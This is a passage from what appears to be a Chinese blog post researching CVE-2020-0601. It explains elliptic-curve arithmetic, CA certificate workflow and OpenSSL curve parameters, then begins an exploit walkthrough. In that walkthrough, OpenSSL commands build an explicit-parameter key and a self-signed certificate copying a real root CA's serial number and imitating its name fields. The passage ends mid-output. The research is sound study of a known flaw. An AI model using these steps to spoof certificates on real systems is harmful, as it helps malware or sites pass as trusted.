nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.854439em;"><span style="top:-2.655em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight"><span class="mord mathdefault mtight">x</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.31731428571428577em;"><span style="top:-2.357em;margin-left:0em;margin-right:0.07142857142857144em;"><span class="pstrut" style="height:2.5em;"></span><span class="sizing reset-size3 size1 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.143em;"><span></span></span></span></span></span></span><span class="mbin mtight">−</span><span class="mord mtight"><span class="mord mathdefault mtight">x</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.31731428571428577em;"><span style="top:-2.357em;margin-left:0em;margin-right:0.07142857142857144em;"><span class="pstrut" style="height:2.5em;"></span><span class="sizing reset-size3 size1 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.143em;"><span></span></span></span></span></span></span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.446108em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight"><span class="mord mathdefault mtight" style="margin-right:0.03588em;">y</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.31731428571428577em;"><span style="top:-2.357em;margin-left:-0.03588em;margin-right:0.07142857142857144em;"><span class="pstrut" style="height:2.5em;"></span><span class="sizing reset-size3 size1 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.143em;"><span></span></span></span></span></span></span><span class="mbin mtight">−</span><span class="mord mtight"><span class="mord mathdefault mtight" style="margin-right:0.03588em;">y</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.31731428571428577em;"><span style="top:-2.357em;margin-left:-0.03588em;margin-right:0.07142857142857144em;"><span class="pstrut" style="height:2.5em;"></span><span class="sizing reset-size3 size1 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.143em;"><span></span></span></span></span></span></span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.44509999999999994em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span></span></span><span style="top:-2.331064em;"><span class="pstrut" style="height:3.13412em;"></span><span class="mord"><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.1341199999999998em;"><span style="top:-2.6550000000000002em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">2</span><span class="mord mtight"><span class="mord mathdefault mtight" style="margin-right:0.03588em;">y</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.31731428571428577em;"><span style="top:-2.357em;margin-left:-0.03588em;margin-right:0.07142857142857144em;"><span class="pstrut" style="height:2.5em;"></span><span class="sizing reset-size3 size1 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.143em;"><span></span></span></span></span></span></span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.5102em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">3</span><span class="mord mtight"><span class="mord mathdefault mtight">x</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8913142857142857em;"><span style="top:-2.214em;margin-left:0em;margin-right:0.07142857142857144em;"><span class="pstrut" style="height:2.5em;"></span><span class="sizing reset-size3 size1 mtight"><span class="mord mtight">1</span></span></span><span style="top:-2.931em;margin-right:0.07142857142857144em;"><span class="pstrut" style="height:2.5em;"></span><span class="sizing reset-size3 size1 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.286em;"><span></span></span></span></span></span></span><span class="mbin mtight">+</span><span class="mord mathdefault mtight">a</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.481108em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.2841639999999996em;"><span></span></span></span></span></span><span class="arraycolsep" style="width:1em;"></span><span class="col-align-l"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.784164em;"><span style="top:-3.910284em;"><span class="pstrut" style="height:3.13412em;"></span><span class="mord"><span class="mpunct">,</span></span></span><span style="top:-2.331064em;"><span class="pstrut" style="height:3.13412em;"></span><span class="mord"><span class="mpunct">,</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.2841639999999996em;"><span></span></span></span></span></span><span class="arraycolsep" style="width:0.5em;"></span><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.784164em;"><span style="top:-3.910284em;"><span class="pstrut" style="height:3.13412em;"></span><span class="mord"><span class="mord text"><span class="mord cjk_fallback">如果</span></span><span class="mord mathdefault" style="margin-right:0.13889em;">P</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel"><span class="mord"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.69444em;"><span style="top:-3em;"><span class="pstrut" style="height:3em;"></span><span class="rlap"><span class="strut" style="height:0.8888799999999999em;vertical-align:-0.19444em;"></span><span class="inner"><span class="mrel"></span></span><span class="fix"></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.19444em;"><span></span></span></span></span></span></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mord mathdefault">Q</span></span></span><span style="top:-2.331064em;"><span class="pstrut" style="height:3.13412em;"></span><span class="mord"><span class="mord text"><span class="mord cjk_fallback">如果</span></span><span class="mord mathdefault" style="margin-right:0.13889em;">P</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mord mathdefault">Q</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.2841639999999996em;"><span></span></span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span></span></span></span></span></p><p>此外，对于任意<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>P</mi><mo>=</mo><mo stretchy="false">(</mo><msub><mi>x</mi><mn>1</mn></msub><mo separator="true">,</mo><msub><mi>y</mi><mn>1</mn></msub><mo stretchy="false">)</mo><mo>∈</mo><mi>E</mi></mrow><annotation encoding="application/x-tex">P=(x_1,y_1)\in E</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.68333em;vertical-align:0em;"></span><span class="mord mathdefault" style="margin-right:0.13889em;">P</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord"><span class="mord mathdefault">x</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.30110799999999993em;"><span style="top:-2.5500000000000003em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.16666666666666666em;"></span><span class="mord"><span class="mord mathdefault" style="margin-right:0.03588em;">y</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.30110799999999993em;"><span style="top:-2.5500000000000003em;margin-left:-0.03588em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">∈</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:0.68333em;vertical-align:0em;"></span><span class="mord mathdefault" style="margin-right:0.05764em;">E</span></span></span></span>，定义</p><p class="katex-block"><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>P</mi><mo>+</mo><mi mathvariant="normal">O</mi><mo>=</mo><mi mathvariant="normal">O</mi><mo>+</mo><mi>P</mi><mo>=</mo><mi>P</mi></mrow><annotation encoding="application/x-tex">P+\Omicron=\Omicron+P=P</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.76666em;vertical-align:-0.08333em;"></span><span class="mord mathdefault" style="margin-right:0.13889em;">P</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span></span><span class="base"><span class="strut" style="height:0.68333em;vertical-align:0em;"></span><span class="mord"><span class="mord mathrm">O</span></span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:0.76666em;vertical-align:-0.08333em;"></span><span class="mord"><span class="mord mathrm">O</span></span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span></span><span class="base"><span class="strut" style="height:0.68333em;vertical-align:0em;"></span><span class="mord mathdefault" style="margin-right:0.13889em;">P</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:0.68333em;vertical-align:0em;"></span><span class="mord mathdefault" style="margin-right:0.13889em;">P</span></span></span></span></span></p><p>从图形上看是这样的<br><img src="/2020/01/21/CVE-2020-0601-Research/ECC3.png" alt=""></p><p>从定义上来谈就是：<br>从椭圆曲线E上任意取P，Q两点，将这两点连接形成直线l。其中如果P=Q，则此时直线与椭圆曲线相切。直线l必定与图欧元曲线相交于另外一个点R，过R做y轴的平行线l’，这里l’定义为R与无穷远点<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi mathvariant="normal">O</mi></mrow><annotation encoding="application/x-tex">\Omicron</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.68333em;vertical-align:0em;"></span><span class="mord"><span class="mord mathrm">O</span></span></span></span></span>的交点。l’与椭圆曲线相较于的点R’，我们就是视为P+Q的结果。从定义上可以看出，公式实际上可以写作</p><p class="katex-block"><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>P</mi><mo>+</mo><mi>Q</mi><mo>+</mo><mi>R</mi><mo>=</mo><mn>0</mn></mrow><annotation encoding="application/x-tex">P+Q+R=0</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.76666em;vertical-align:-0.08333em;"></span><span class="mord mathdefault" style="margin-right:0.13889em;">P</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span></span><span class="base"><span class="strut" style="height:0.8777699999999999em;vertical-align:-0.19444em;"></span><span class="mord mathdefault">Q</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span></span><span class="base"><span class="strut" style="height:0.68333em;vertical-align:0em;"></span><span class="mord mathdefault" style="margin-right:0.00773em;">R</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:0.64444em;vertical-align:0em;"></span><span class="mord">0</span></span></span></span></span></p><p>于是这里我们就把之前定义的<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo>⊕</mo></mrow><annotation encoding="application/x-tex">\oplus</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.66666em;vertical-align:-0.08333em;"></span><span class="mord">⊕</span></span></span></span>(简写为+)写作:</p><p class="katex-block"><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>P</mi><mo>+</mo><mi>Q</mi><mo>=</mo><mo>−</mo><mi>R</mi></mrow><annotation encoding="application/x-tex">P+Q=-R</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.76666em;vertical-align:-0.08333em;"></span><span class="mord mathdefault" style="margin-right:0.13889em;">P</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span></span><span class="base"><span class="strut" style="height:0.8777699999999999em;vertical-align:-0.19444em;"></span><span class="mord mathdefault">Q</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:0.76666em;vertical-align:-0.08333em;"></span><span class="mord">−</span><span class="mord mathdefault" style="margin-right:0.00773em;">R</span></span></span></span></span></p><p>上述推导的式子，在满足p&gt;3的有限域<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>Z</mi><mi>p</mi></msub></mrow><annotation encoding="application/x-tex">Z_p</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.969438em;vertical-align:-0.286108em;"></span><span class="mord"><span class="mord mathdefault" style="margin-right:0.07153em;">Z</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.15139200000000003em;"><span style="top:-2.5500000000000003em;margin-left:-0.07153em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathdefault mtight">p</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.286108em;"><span></span></span></span></span></span></span></span></span></span>上成立。（可以粗略的理解定义域和值域均为[0, p]的情况下依然成立）</p><h2 id="ca相关">CA相关</h2><p>这个算法实际上利用的是CA的验证漏洞，所以这里我们先介绍一下和CA相关的内容:</p><h3 id="ca工作流程">CA工作流程</h3><p>一个CA是怎么进行工作的呢？</p><p>每一个浏览器/计算机中都会预装一些CA证书。证书中将会包含当前CA的公钥，用于验证。<br>但我们想要创建一个属于自己的数字证书的时候，首先我们需要创建创建一个公钥/私钥对（这个用OpenSSL就能做到）这种就叫做<strong>证书签名请求CSR</strong>.CSR中包含如下内容</p><ul><li>一份公钥的拷贝</li><li>一些对象的基本信息</li></ul><p>一旦创建好了<strong>CSR</strong>，就能够将这个请求提交给CA。一旦CA将这个证书签名完成后，这个证书将会返回一个签过名的<code>cert证书</code>，之后我们就能够将这个证书导入到我们的服务器中。<br>一个签名证书中包含如下内容：</p><ul><li>包括网站的基本信息</li><li>有效时间</li><li>当前网站使用的公钥内容</li><li>证书使用CA私钥签名后得到的数字签名</li></ul><h3 id="openssl-签名文件的基本流程">OpenSSL 签名文件的基本流程</h3><p>为了能够更好的知道这个漏洞利用的技巧，首先我们需要知道文件签名的基本逻辑：</p><p>每次椭圆加密的时候，都需要提供这个加密算法需要的参数（例如生成元，椭圆曲线等）。这种时候可以提前生成需要的参数:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">openssl ecparam -name secp384r1 -out secp384r1.pem</span><br></pre></td></tr></table></figure><p>这样就能够生成<strong>算法secp384r1</strong>需要用到的基本参数。这里进行查看:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">$ cat secp384r1.pem</span><br><span class="line"></span><br><span class="line">-----BEGIN EC PARAMETERS-----</span><br><span class="line">BgUrgQQAIg==</span><br><span class="line">-----END EC PARAMETERS-----</span><br></pre></td></tr></table></figure><p>可以发现，这边的内容非常短，使用<code>openssl</code>检查的话可以看到如下的结果:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">$ openssl ecparam -in secp384r1.pem -text</span><br><span class="line"></span><br><span class="line">ASN1 OID: secp384r1</span><br><span class="line">NIST CURVE: P-384</span><br><span class="line">-----BEGIN EC PARAMETERS-----</span><br><span class="line">BgUrgQQAIg==</span><br><span class="line">-----END EC PARAMETERS-----</span><br></pre></td></tr></table></figure><p>可以看到这边只有一些普通的基本信息。因为大部分的机器上面都有这种算法的基本参数（比如说生成元，阶等）。我们可以使用参数文件来创建指定的椭圆曲线加密公钥私钥对。方法如下:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">openssl ecparam -in secp384r1.pem -genkey -noout -out secp384r1-key.pem</span><br></pre></td></tr></table></figure><p>或者直接使用机器上默认已有的加密参数进行加密:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">openssl ecparam -name secp384r1 -genkey -noout -out secp384r1-key.pem</span><br></pre></td></tr></table></figure><p>这个时候用来生成密钥的基本参数会直接嵌套在当前文件中。</p><p>但是有些比较老的机器上，可能没有这些需要的参数。为了解决这种问题，可以使用关键字**-param_enc explicit**来指定。这种时候生成的参数文件能够将所有需要的参数包含在文件里面</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">openssl ecparam -name secp384r1 -out secp384r1.pem -param_enc explicit</span><br></pre></td></tr></table></figure><p>这个时候再查看生成的EC参数文件内容如下：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br></pre></td><td class="code"><pre><span class="line">$ openssl ecparam -in secp384r1.pem  -text</span><br><span class="line"></span><br><span class="line">Field Type: prime-field</span><br><span class="line">Prime:</span><br><span class="line">    00:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:</span><br><span class="line">    ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:</span><br><span class="line">    ff:ff:fe:ff:ff:ff:ff:00:00:00:00:00:00:00:00:</span><br><span class="line">    ff:ff:ff:ff</span><br><span class="line">A:</span><br><span class="line">    00:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:</span><br><span class="line">    ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:</span><br><span class="line">    ff:ff:fe:ff:ff:ff:ff:00:00:00:00:00:00:00:00:</span><br><span class="line">    ff:ff:ff:fc</span><br><span class="line">B:</span><br><span class="line">    00:b3:31:2f:a7:e2:3e:e7:e4:98:8e:05:6b:e3:f8:</span><br><span class="line">    2d:19:18:1d:9c:6e:fe:81:41:12:03:14:08:8f:50:</span><br><span class="line">    13:87:5a:c6:56:39:8d:8a:2e:d1:9d:2a:85:c8:ed:</span><br><span class="line">    d3:ec:2a:ef</span><br><span class="line">Generator (uncompressed):</span><br><span class="line">    04:aa:87:ca:22:be:8b:05:37:8e:b1:c7:1e:f3:20:</span><br><span class="line">    ad:74:6e:1d:3b:62:8b:a7:9b:98:59:f7:41:e0:82:</span><br><span class="line">    54:2a:38:55:02:f2:5d:bf:55:29:6c:3a:54:5e:38:</span><br><span class="line">    72:76:0a:b7:36:17:de:4a:96:26:2c:6f:5d:9e:98:</span><br><span class="line">    bf:92:92:dc:29:f8:f4:1d:bd:28:9a:14:7c:e9:da:</span><br><span class="line">    31:13:b5:f0:b8:c0:0a:60:b1:ce:1d:7e:81:9d:7a:</span><br><span class="line">    43:1d:7c:90:ea:0e:5f</span><br><span class="line">Order:</span><br><span class="line">    00:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:</span><br><span class="line">    ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:c7:63:4d:81:f4:</span><br><span class="line">    37:2d:df:58:1a:0d:b2:48:b0:a7:7a:ec:ec:19:6a:</span><br><span class="line">    cc:c5:29:73</span><br><span class="line">Cofactor:  1 (0x1)</span><br><span class="line">Seed:</span><br><span class="line">    a3:35:92:6a:a3:19:a2:7a:1d:00:89:6a:67:73:a4:</span><br><span class="line">    82:7a:cd:ac:73</span><br><span class="line">-----BEGIN EC PARAMETERS-----</span><br><span class="line">MIIBVwIBATA8BgcqhkjOPQEBAjEA////////////////////////////////////</span><br><span class="line">//////7/////AAAAAAAAAAD/////MHsEMP//////////////////////////////</span><br><span class="line">///////////+/////wAAAAAAAAAA/////AQwszEvp+I+5+SYjgVr4/gtGRgdnG7+</span><br><span class="line">gUESAxQIj1ATh1rGVjmNii7RnSqFyO3T7CrvAxUAozWSaqMZonodAIlqZ3OkgnrN</span><br><span class="line">rHMEYQSqh8oivosFN46xxx7zIK10bh07Younm5hZ90HgglQqOFUC8l2/VSlsOlRe</span><br><span class="line">OHJ2Crc2F95KliYsb12emL+Sktwp+PQdvSiaFHzp2jETtfC4wApgsc4dfoGdekMd</span><br><span class="line">fJDqDl8CMQD////////////////////////////////HY02B9Dct31gaDbJIsKd6</span><br><span class="line">7OwZaszFKXMCAQE=</span><br><span class="line">-----END EC PARAMETERS-----</span><br></pre></td></tr></table></figure><p>这个时候就能够使用<strong>指定的参数来生成指定的椭圆曲线方程</strong>。同理也能用这种方法直接生成密钥文件:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">openssl ecparam -name secp384r1 -genkey -noout -out p384-key.pem -param_enc explicit</span><br></pre></td></tr></table></figure><p>这样的密钥文件就能够被不支持当前算法的电脑进行使用了。</p><p>使用这种密钥可以自己创建根证书（中间证书），创建的步骤如下：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br></pre></td><td class="code"><pre><span class="line">$ openssl req -key p384-key.pem -new -out ca-normal.pem -x509 -set_serial 0x5c8b99c55a94c5d27156decd8980cc26</span><br><span class="line">You are about to be asked to enter information that will be incorporated</span><br><span class="line">into your certificate request.</span><br><span class="line">What you are about to enter is what is called a Distinguished Name or a DN.</span><br><span class="line">There are quite a few fields but you can leave some blank</span><br><span class="line">For some fields there will be a default value,</span><br><span class="line">If you enter &#x27;.&#x27;, the field will be left blank.</span><br><span class="line">-----</span><br><span class="line">Country Name (2 letter code) [AU]:US</span><br><span class="line">State or Province Name (full name) [Some-State]:New Jersey</span><br><span class="line">Locality Name (eg, city) []:Jersey City</span><br><span class="line">Organization Name (eg, company) [Internet Widgits Pty Ltd]:The USERTRUST nEtwork</span><br><span class="line">Organizational Unit Name (eg, section) []:USERTtrust ECC</span><br><span class="line">Common Name (e.g. server FQDN or YOUR name) []:Certification Authority</span><br><span class="line">Email Address []:test</span><br><span class="line"></span><br><span class="line">$ openssl x509 -in ca-normal.pem -text -noout</span><br><span class="line">Certificate:</span><br><span class="line">    Data:</span><br><span class="line">        Version: 3 (0x2)</span><br><span class="line">        Serial Number:</span><br><span class="line">            5c:8b:99:c5:5a:94:c5:d2:71:56:de:cd:89:80:cc:26</span><br><span class="line">        Signature Algorithm: ecdsa-with-SHA256</span><br><span class="line">        Issuer: C = US, ST = New Jersey, L = Jersey City, O = &quot;The USERTRUST nEtwork &quot;, OU = USERTtrust ECC, CN = Certification Authority, emailAddress = test</span><br><span class="line">        Validity</span><br><span class="line">            Not Before: Jan 27 01:07:17 2020 GMT</span><br><span class="line">            Not After : Feb 26 01:07:17 2020 GMT</span><br><span class="line">        Subject: C = US, ST = New Jersey, L = Jersey City, O = &quot;The USERTRUST nEtwork &quot;, OU = USERTtrust ECC, CN = Certification Authority, emailAddress = test</span><br><span class="line">        Subject Public Key Info:</span><br><span class="line">            Public Key Algorithm: id-ecPublicKey</span><br><span class="line">                Public-Key: (384 bit)</span><br><span class="line">                pub:</span><br><span class="line">                    04:48:54:7d:2c:f1:52:96:70:55:91:71:e3:0a:ee:</span><br><span class="line">                    77:38:70:2e:04:70:d1:3a:e0:b5:61:43:12:6e:81:</span><br><span class="line">                    2f:a4:6f:aa:04:dc:25:42:09:07:be:71:3a:47:19:</span><br><span class="line">                    5a:c0:42:99:c8:14:1e:e7:ab:3c:9f:3d:4a:c1:ad:</span><br><span class="line">                    57:57:1a:41:53:89:da:68:69:70:95:23:0b:04:b9:</span><br><span class="line">                    6a:6d:19:b2:9d:db:11:f2:ac:1a:2e:42:a7:b6:68:</span><br><span class="line">                    3a:ba:31:95:7b:75:26</span><br><span class="line">                Field Type: prime-field</span><br><span class="line">                Prime:</span><br><span class="line">                    00:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:</span><br><span class="line">                    ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:</span><br><span class="line">                    ff:ff:fe:ff:ff:ff:ff:00:00:00:00:00:00:00:00:</span><br><span class="line">                    ff:ff:ff:ff</span><br><span class="line">                A:</span><br><span class="line">                    00:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:</span><br><span class="line">                    ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:</span><br><span class="line">                    ff:ff:fe:ff:ff:ff:ff:00:00:00:00:00:00:00:00:</span><br><span class="line">                    ff:ff:ff:fc</span><br><span class="line">                B:</span><br><span class="line">                    